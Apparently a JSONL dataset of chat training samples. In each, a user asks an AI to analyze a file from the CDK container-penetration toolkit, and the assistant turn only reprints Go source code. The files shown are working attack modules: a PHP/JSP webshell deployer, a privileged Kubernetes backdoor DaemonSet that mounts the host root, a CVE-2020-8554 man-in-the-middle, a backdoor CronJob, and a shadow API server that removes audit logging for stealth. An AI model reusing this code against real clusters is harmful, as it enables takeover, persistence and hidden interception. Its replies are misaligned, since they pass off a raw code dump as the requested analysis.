string\n}\n\nfunc (res Result) ToJson() string {\n\n\tdata, err := json.Marshal(res)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn string(data)\n}\n\nfunc (res Result) PrintJson() {\n\n\tfmt.Println(res.ToJson())\n\n}\n\nfunc extractKubectl() string {\n\n\tpath, err := kubectl.ExtractKubectl()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn path\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/persistence/deploy_webshell.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_deploy_webshell\n// +build !no_deploy_webshell\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage persistence\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nfunc deployWebShell(scriptType string, path string) error {\n\tvar content string\n\tvar param = \"cdk_\" + util.RandString(7)\n\tswitch strings.ToLower(scriptType) {\n\tcase \"php\":\n\t\tcontent = strings.ReplaceAll(conf.WebShellCodePHP, \"$SECRET_PARAM\", param)\n\tcase \"jsp\":\n\t\tcontent = strings.ReplaceAll(conf.WebShellCodeJSP, \"$SECRET_PARAM\", param)\n\tdefault:\n\t\treturn errors.New(\"invalid input args. Usage: cdk run deploy-webshell (php|jsp) .\")\n\t}\n\terr := util.WriteFile(path, content)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"write webshell content failed.\"}\n\t}\n\tfmt.Printf(\"\\t%s webshell saved in %s\\n\\tsend codes or system command via post param: %s=(codes)\\n\", scriptType, path, param)\n\treturn nil\n}\n\n// plugin interface\ntype webShellDeployS struct{ base.BaseExploit }\n\nfunc (p webShellDeployS) Desc() string {\n\treturn \"Write webshell to target path. Usage: cdk run webshell-deploy (php|jsp) .\"\n}\n\nfunc (p webShellDeployS) Run() bool {\n\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 2 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\tfileType := args[0]\n\tpath := args[1]\n\terr := deployWebShell(fileType, path)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc init() {\n\texploit := webShellDeployS{}\n\texploit.ExploitType = \"persistence\"\n\tplugin.RegisterExploit(\"webshell-deploy\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/persistence/k8s_backdoor_daemonset.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_backdoor_daemonset\n// +build !no_k8s_backdoor_daemonset\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage persistence\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/hashicorp/go-version\"\n)\n\nvar k8sDaemonsetApi = \"/apis/${API_VERSION}/namespaces/kube-system/daemonsets\"\nvar k8sBackdoorDaemonsetJson = `\n{\n\t\"apiVersion\": \"${API_VERSION}\",\n\t\"kind\": \"DaemonSet\",\n\t\"metadata\": {\n\t\t\"annotations\": {},\n\t\t\"labels\": {\n\t\t\t\"k8s-app\": \"${K8S_APP}\"\n\t\t},\n\t\t\"name\": \"cdk-backdoor-daemonset\"\n\t},\n\t\"spec\": {\n\t\t\"selector\": {\n\t\t\t\"matchLabels\": {\n\t\t\t\t\"k8s-app\": \"${K8S_APP}\"\n\t\t\t}\n\t\t},\n\t\t\"template\": {\n\t\t\t\"metadata\": {\n\t\t\t\t\"labels\": {\n\t\t\t\t\t\"k8s-app\": \"${K8S_APP}\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"spec\": {\n\t\t\t\t\"containers\": [{\n\t\t\t\t\t\"args\": [\"/bin/sh\", \"-c\", \"${SHELL_CMD}\"],\n\t\t\t\t\t\"image\": \"${IMAGE}\",\n\t\t\t\t\t\"imagePullPolicy\": \"IfNotPresent\",\n\t\t\t\t\t\"name\": \"cdk-backdoor-pod\",\n\t\t\t\t\t\"securityContext\": {\n\t\t\t\t\t\t\"capabilities\": {\n\t\t\t\t\t\t\t\"add\": [\"NET_ADMIN\", \"SYS_ADMIN\", \"SYS_PTRACE\", \"AUDIT_CONTROL\", \"MKNOD\", \"SETFCAP\"]\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"privileged\": true\n\t\t\t\t\t},\n\t\t\t\t\t\"volumeMounts\": [{\n\t\t\t\t\t\t\"mountPath\": \"/host-root\",\n\t\t\t\t\t\t\"name\": \"host-volume\"\n\t\t\t\t\t}]\n\t\t\t\t}],\n\t\t\t\t\"hostNetwork\": true,\n\t\t\t\t\"hostPID\": true,\n\t\t\t\t\"restartPolicy\": \"Always\",\n\t\t\t\t\"volumes\": [{\n\t\t\t\t\t\"hostPath\": {\n\t\t\t\t\t\t\"path\": \"/\"\n\t\t\t\t\t},\n\t\t\t\t\t\"name\": \"host-volume\"\n\t\t\t\t}]\n\t\t\t}\n\t\t}\n\t}\n}\n`\n\nfunc getBackDoorDaemonsetJson(k8sApp string, image string, shellCmd string, apiVersion string) string {\n\tk8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, \"${K8S_APP}\", k8sApp, -1)\n\tk8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, \"${IMAGE}\", image, -1)\n\tk8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, \"${SHELL_CMD}\", shellCmd, -1)\n\tk8sBackdoorDaemonsetJson = strings.Replace(k8sBackdoorDaemonsetJson, \"${API_VERSION}\", apiVersion, -1)\n\treturn k8sBackdoorDaemonsetJson\n}\n\nfunc getDaemonsetApi(apiVersion string) string {\n\tk8sDaemonsetApi = strings.Replace(k8sDaemonsetApi, \"${API_VERSION}\", apiVersion, -1)\n\treturn k8sDaemonsetApi\n}\n\nfunc getApiVersion(serverAddr string) (string, error) {\n\tserverVersion, err := kubectl.GetServerVersion(serverAddr)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get server version: %v\", err)\n\t}\n\t// patch for Tencent TKE\n\tserverVersion = strings.Split(serverVersion, \"-\")[0]\n\tv, _ := version.NewVersion(serverVersion)\n\n\tvar apiVersion string\n\t// from v1.16 on, use apps/v1 instead of extensions/v1beta1\n\tconstraints, _ := version.NewConstraint(\">=v1.16\")\n\tif constraints.Check(v) {\n\t\tapiVersion = \"apps/v1\"\n\t} else {\n\t\tapiVersion = \"extensions/v1beta1\"\n\t}\n\treturn apiVersion, nil\n}\n\nfunc DeployBackdoorDaemonset(serverAddr string, tokenPath string, image string, inputArgs string, k8sApp string) bool {\n\tapiVersion, err := getApiVersion(serverAddr)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: getDaemonsetApi(apiVersion),\n\t\tMethod: \"POST\",\n\t\tPostData: \"\",\n\t\tAnonymous: false,\n\t}\n\n\tswitch tokenPath {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = tokenPath\n\t}\n\n\tlog.Printf(\"trying to deploy daemonset with image:%s to k8s-app:%s\", image, k8sApp)\n\topts.PostData = getBackDoorDaemonsetJson(k8sApp, image, inputArgs, apiVersion)\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tlog.Println(\"api-server response:\")\n\tfmt.Println(resp)\n\treturn true\n}\n\n// plugin interface\ntype K8sBackDoorDaemonsetS struct{ base.BaseExploit }\n\nfunc (p K8sBackDoorDaemonsetS) Desc() string {\n\treturn \"deploy image to every node using daemonset, usage: cdk run k8s-backdoor-daemonset (default|anonymous|) \"\n}\nfunc (p K8sBackDoorDaemonsetS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 3 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\ttokenPath := args[0]\n\timage := args[1]\n\tinputArgs := args[2]\n\n\treturn DeployBackdoorDaemonset(addr, tokenPath, image, inputArgs, \"kube-proxy\") // use kube-proxy-worker in alibaba cloud\n}\n\nfunc init() {\n\texploit := K8sBackDoorDaemonsetS{}\n\texploit.ExploitType = \"persistence\"\n\tplugin.RegisterExploit(\"k8s-backdoor-daemonset\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/persistence/k8s_clusterip_mitm.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_clusterip_mitm\n// +build !no_k8s_clusterip_mitm\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage persistence\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"math/rand\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar K8sDeploymentsAPI = \"/apis/apps/v1/namespaces/default/deployments\"\nvar K8sMitmPayloadDeploy = `{\n \"apiVersion\": \"apps/v1\",\n \"kind\": \"Deployment\",\n \"metadata\": {\n \"name\": \"mitm-payload-deploy\"\n },\n \"spec\": {\n \"replicas\": 1,\n \"selector\": {\n \"matchLabels\": {\n \"app\": \"mitm-payload-deploy\"\n }\n },\n \"template\": {\n \"metadata\": {\n \"labels\": {\n \"app\": \"mitm-payload-deploy\"\n }\n },\n \"spec\": {\n \"containers\": [\n {\n \"image\": \"${image}\",\n \"name\": \"mitm-payload-deploy\",\n \"ports\": [\n {\n \"containerPort\": ${port},\n \"name\": \"tcp\"\n }\n ]\n }\n ]\n }\n }\n }\n}`\n\nvar K8sServicesApi = \"/api/v1/namespaces/default/services\"\nvar K8sMitmPayloadSvc = `{\n \"apiVersion\": \"v1\",\n \"kind\": \"Service\",\n \"metadata\": {\n \"name\": \"mitm-externalip\"\n },\n \"spec\": {\n \"externalIPs\": [\n \"${ip}\"\n ],\n \"ports\": [\n {\n \"name\": \"tcp\",\n \"port\": ${port},\n \"targetPort\": ${port}\n }\n ],\n \"selector\": {\n \"app\": \"mitm-payload-deploy\"\n },\n \"type\": \"ClusterIP\"\n }\n}`\n\nfunc getK8sMitmPayloadDeployJson(image string, port string) string {\n\tK8sMitmPayloadDeploy = strings.Replace(K8sMitmPayloadDeploy, \"${image}\", image, -1)\n\tK8sMitmPayloadDeploy = strings.Replace(K8sMitmPayloadDeploy, \"${port}\", port, -1)\n\treturn K8sMitmPayloadDeploy\n}\n\nfunc getK8sMitmPayloadSvcJson(ip string, port string) string {\n\tK8sMitmPayloadSvc = strings.Replace(K8sMitmPayloadSvc, \"${ip}\", ip, -1)\n\tK8sMitmPayloadSvc = strings.Replace(K8sMitmPayloadSvc, \"${port}\", port, -1)\n\treturn K8sMitmPayloadSvc\n}\n\n// plugin interface\ntype K8sMitmClusteripS struct{ base.BaseExploit }\n\nfunc (p K8sMitmClusteripS) Desc() string {\n\treturn \"Exploit CVE-2020-8554: Man in the middle using ExternalIPs, usage: cdk run k8s-mitm-clusterip (default|anonymous|) \"\n}\nfunc (p K8sMitmClusteripS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 4 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\tvar TokenPath = \"\"\n\tvar AnonymousFlag = false\n\n\ttoken := args[0]\n\timage := args[1]\n\ttargetIP := args[2]\n\ttargetPort := args[3]\n\n\tswitch token {\n\tcase \"default\":\n\t\tTokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\tTokenPath = \"\"\n\t\tAnonymousFlag = true\n\tdefault:\n\t\tTokenPath = args[0]\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\t// step1. create Mitm Deployments\n\toptsDeploy := kubectl.K8sRequestOption{\n\t\tTokenPath: TokenPath,\n\t\tServer: addr, // default\n\t\tApi: K8sDeploymentsAPI,\n\t\tMethod: \"POST\",\n\t\tPostData: \"\",\n\t\tAnonymous: AnonymousFlag,\n\t}\n\n\tlog.Printf(\"trying to create man in the middle deploy containers with image:%s and port:%s\", image, targetPort)\n\toptsDeploy.PostData = getK8sMitmPayloadDeployJson(image, targetPort)\n\tresp, err := kubectl.ServerAccountRequest(optsDeploy)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\tlog.Println(\"api-server response:\")\n\tfmt.Println(resp)\n\n\t// step2. create Mitm Services of ExternalIPs\n\toptsSvc := kubectl.K8sRequestOption{\n\t\tTokenPath: TokenPath,\n\t\tServer: addr, // default\n\t\tApi: K8sServicesApi,\n\t\tMethod: \"POST\",\n\t\tPostData: \"\",\n\t\tAnonymous: AnonymousFlag,\n\t}\n\tlog.Printf(\"trying to create man in the middle ExternalIPs svc ip: %s and port: %s\", targetIP, targetPort)\n\toptsSvc.PostData = getK8sMitmPayloadSvcJson(targetIP, targetPort)\n\trespSvc, err := kubectl.ServerAccountRequest(optsSvc)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\tlog.Println(\"api-server response:\")\n\tfmt.Println(respSvc)\n\n\treturn true\n}\n\nfunc init() {\n\texploit := K8sMitmClusteripS{}\n\texploit.ExploitType = \"persistence\"\n\tplugin.RegisterExploit(\"k8s-mitm-clusterip\", exploit)\n\trand.Seed(time.Now().UnixNano())\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/persistence/k8s_cronjob.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_cronjob\n// +build !no_k8s_cronjob\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage persistence\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar cronJobAPI = \"/apis/batch/v1beta1/namespaces/kube-system/cronjobs\"\nvar cronJobConfig = `\n{\n\t\"apiVersion\": \"batch/v1beta1\",\n\t\"kind\": \"CronJob\",\n\t\"metadata\": {\n\t\t\"name\": \"cdk-backdoor-cronjob\"\n\t},\n\t\"spec\": {\n\t\t\"jobTemplate\": {\n\t\t\t\"spec\": {\n\t\t\t\t\"template\": {\n\t\t\t\t\t\"spec\": {\n\t\t\t\t\t\t\"containers\": [{\n\t\t\t\t\t\t\t\"args\": [\"/bin/sh\", \"-c\", \"$SHELL_CMD\"],\n\t\t\t\t\t\t\t\"image\": \"$IMAGE\",\n\t\t\t\t\t\t\t\"imagePullPolicy\": \"IfNotPresent\",\n\t\t\t\t\t\t\t\"name\": \"cdk-backdoor-cronjob-container\"\n\t\t\t\t\t\t}],\n\t\t\t\t\t\t\"restartPolicy\": \"OnFailure\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"schedule\": \"$SCHEDULE_EXPR\"\n\t}\n}\n`\n\nfunc deployK8sCronjob(serverAddr string, tokenPath string, image string, inputArgs string, schedule string) (string, error) {\n\tlog.Printf(\"generate cronjob with \\n image:%s\\n cmd:%s\\n schedule:%s\\n\", image, inputArgs, schedule)\n\n\tvar scheduleExpr string\n\tswitch schedule {\n\tcase \"min\":\n\t\tscheduleExpr = \"* * * * *\"\n\tcase \"hour\":\n\t\tscheduleExpr = \"0 * * * *\"\n\tcase \"day\":\n\t\tscheduleExpr = \"0 0 * * *\"\n\tdefault:\n\t\tscheduleExpr = schedule\n\t}\n\tcronJobConfig = strings.ReplaceAll(cronJobConfig, \"$SCHEDULE_EXPR\", scheduleExpr)\n\tcronJobConfig = strings.ReplaceAll(cronJobConfig, \"$IMAGE\", image)\n\tcronJobConfig = strings.ReplaceAll(cronJobConfig, \"$SHELL_CMD\", inputArgs)\n\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: cronJobAPI,\n\t\tMethod: \"POST\",\n\t\tPostData: cronJobConfig,\n\t\tAnonymous: false,\n\t}\n\n\tswitch tokenPath {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = tokenPath\n\t}\n\n\tlog.Println(\"requesting \", cronJobAPI)\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\treturn \"\", errors.New(\"faild to request api-server.\")\n\t}\n\tif !strings.Contains(resp, \"selfLink\") {\n\t\tlog.Println(\"api-server response:\")\n\t\tfmt.Println(resp)\n\t\treturn \"\", errors.New(\"invalid response data, possible caused by api-server forbidden this request.\")\n\t}\n\n\treturn resp, nil\n}\n\n// plugin interface\ntype K8sCronJobDeployS struct{ base.BaseExploit }\n\nfunc (p K8sCronJobDeployS) Desc() string {\n\treturn \"create cronjob with user specified image and cmd. Usage: cdk run k8s-cronjob (default|anonymous|) (min|hour|day|) \"\n}\nfunc (p K8sCronJobDeployS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 4 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\ttoken := args[0]\n\tcron := args[1]\n\timage := args[2]\n\tcmd := args[3]\n\n\tresp, err := deployK8sCronjob(addr, token, image, cmd, cron)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tlog.Println(\"api-server response:\")\n\tfmt.Println(resp)\n\treturn true\n}\n\nfunc init() {\n\texploit := K8sCronJobDeployS{}\n\texploit.ExploitType = \"persistence\"\n\tplugin.RegisterExploit(\"k8s-cronjob\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/persistence/k8s_shadow_apiserver.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !thin && !no_k8s_shadow_apiserver\n// +build !thin,!no_k8s_shadow_apiserver\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage persistence\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"github.com/tidwall/gjson\"\n\t\"github.com/tidwall/sjson\"\n)\n\nfunc findApiServerPodInMasterNode(token string, serverAddr string) (string, error) {\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: \"/api/v1/namespaces/kube-system/pods\",\n\t\tMethod: \"GET\",\n\t\tPostData: \"\",\n\t\tAnonymous: false,\n\t}\n\n\tswitch token {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = token\n\t}\n\n\tlog.Println(\"trying to find api-server pod in namespace:kube-system\")\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Printf(\"request apiserver uri `%s` error: %v, response: %s\", opts.Api, err, resp)\n\t\treturn \"\", errors.New(\"faild to request api-server.\")\n\t}\n\tif !strings.Contains(resp, \"selfLink\") && !strings.Contains(resp, \"kube-apiserver\") {\n\t\tlog.Println(\"api-server response:\")\n\t\tfmt.Println(resp)\n\t\treturn \"\", errors.New(\"invalid to list pods, possible caused by api-server forbidden this request.\")\n\t}\n\t// extract pod name\n\t// sample: {\"metadata\":{\"name\":\"kube-apiserver-ubuntu-linux-20-04-desktop\",\"namespace\":\"kube-system\",\"uid\":\"b7564d4e-3bb1-48ef-8885-3984be70f46d\" .. -> kube-apiserver-ubuntu-linux-20-04-desktop\n\tpattern := regexp.MustCompile(`\"metadata\":{\"name\":\"(kube-apiserver\\b[^\"]*?)\"`)\n\tmatched := pattern.FindAllStringSubmatch(resp, -1)\n\tif matched == nil {\n\t\tfmt.Println(resp)\n\t\treturn \"\", errors.New(\"Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.\")\n\t}\n\n\t// match pod name in selfLink\n\tlog.Println(\"find api-server pod:\")\n\tfor _, podName := range matched {\n\t\tfmt.Println(podName[1])\n\t}\n\n\t// only return one pod\n\treturn matched[0][1], nil\n}\n\nfunc dumpPodConfig(token string, serverAddr string, podName string, namespace string) (string, error) {\n\topts := kubectl.K8sRequestOption{\n\t\tTokenPath: \"\",\n\t\tServer: serverAddr,\n\t\tApi: fmt.Sprintf(\"/api/v1/namespaces/%s/pods/%s\", namespace, podName),\n\t\tMethod: \"GET\",\n\t\tPostData: \"\",\n\t\tAnonymous: false,\n\t}\n\n\tswitch token {\n\tcase \"default\":\n\t\topts.TokenPath = conf.K8sSATokenDefaultPath\n\tcase \"anonymous\":\n\t\topts.TokenPath = \"\"\n\t\topts.Anonymous = true\n\tdefault:\n\t\topts.TokenPath = token\n\t}\n\n\tlog.Println(\"dump config json of pod:\", podName, \"in namespace:\", namespace)\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Printf(\"request apiserver uri `%s` error: %v, response: %s\", opts.Api, err, resp)\n\t\treturn \"\", errors.New(\"faild to request api-server.\")\n\t}\n\tif !strings.Contains(resp, \"selfLink\") && !strings.Contains(resp, `\"namespace\"`) {\n\t\tlog.Println(\"api-server response in dumpPodConfig:\")\n\t\tfmt.Println(resp)\n\t\treturn \"\", errors.New(\"invalid response data, possible caused by api-server forbidden this request.\")\n\t}\n\n\treturn resp, nil\n}\n\nfunc generateShadowApiServerConf(json string) string {\n\n\tjson, _ = sjson.Delete(json, \"status\")\n\tjson, _ = sjson.Delete(json, \"metadata.selfLink\")\n\tjson, _ = sjson.Delete(json, \"metadata.uid\")\n\tjson, _ = sjson.Delete(json, \"metadata.annotations\")\n\tjson, _ = sjson.Delete(json, \"metadata.resourceVersion\")\n\tjson, _ = sjson.Delete(json, \"metadata.creationTimestamp\")\n\tjson, _ = sjson.Delete(json, \"spec.tolerations\")\n\n\t// patch cdxy 20210413\n\t// Invalid value: \\\"-shadow\\\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')\",\"reason\":\"Invalid\",\"details\":{\"name\":\"kube-apiserver-10.206.0.11-shadow\",\"kind\":\"Pod\",\"causes\":[{\"reason\":\"FieldValueInvalid\",\"message\":\"Invalid value: \\\"-shadow\\\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')\",\"field\":\"metadata.labels\"}]},\"code\":422}\n\tpodName := gjson.Get(json, \"metadata.name\").String() + \"-shadow\" + \"-\" + strings.ToLower(util.RandString(6))\n\tjson, _ = sjson.Set(json, \"metadata.name\", podName)\n\tjson, _ = sjson.Set(json, \"metadata.labels.component\", gjson.Get(json, \"metadata.labels.component\").String()+\"shadow\")\n\n\t// remove audit logs to get stealth\n\treg := regexp.MustCompile(`(\")(--audit-log-[^\"]*?)(\")`)\n\tjson = reg.ReplaceAllString(json, \"${1}${3}\")\n\n\t//argInsertReg := regexp.MustCompile(`(^[\\s\\S]*?\"command\"[\\s\\:]*?\\[[^\\]]*?\"kube-apiserver\")([^\"]*?)(,\\s*?\"[\\s\\S]*?)$`)\n\targInsertReg := regexp.MustCompile(`(^[\\s\\S]*?)(\"--etcd-keyfile=[^\"]*?\"[\\s\\S]*?)$`)\n\n\t// set --allow-privileged=true\n\treg = regexp.MustCompile(`(\"--allow-privileged\\s*?=\\s*?)(.*?)(\")`)\n\tjson = reg.ReplaceAllString(json, \"${1}true${3}\")\n\tif !strings.Contains(json, \"--allow-privileged\") {\n\t\tjson = argInsertReg.ReplaceAllString(json, `${1}\"--allow-privileged=true\",${2}`)\n\t}\n\n\t// set insecure-port to 0.0.0.0:9443\n\t// fix \"Flag --insecure-port has been deprecated, This flag has no effect now and will be removed in v1.24.\"\n\n\t// reg = regexp.MustCompile(`(\"--insecure-port\\s*?=\\s*?)(.*?)(\")`)\n\t// json = reg.ReplaceAllString(json, \"${1}9443${3}\")\n\t// if !strings.Contains(json, 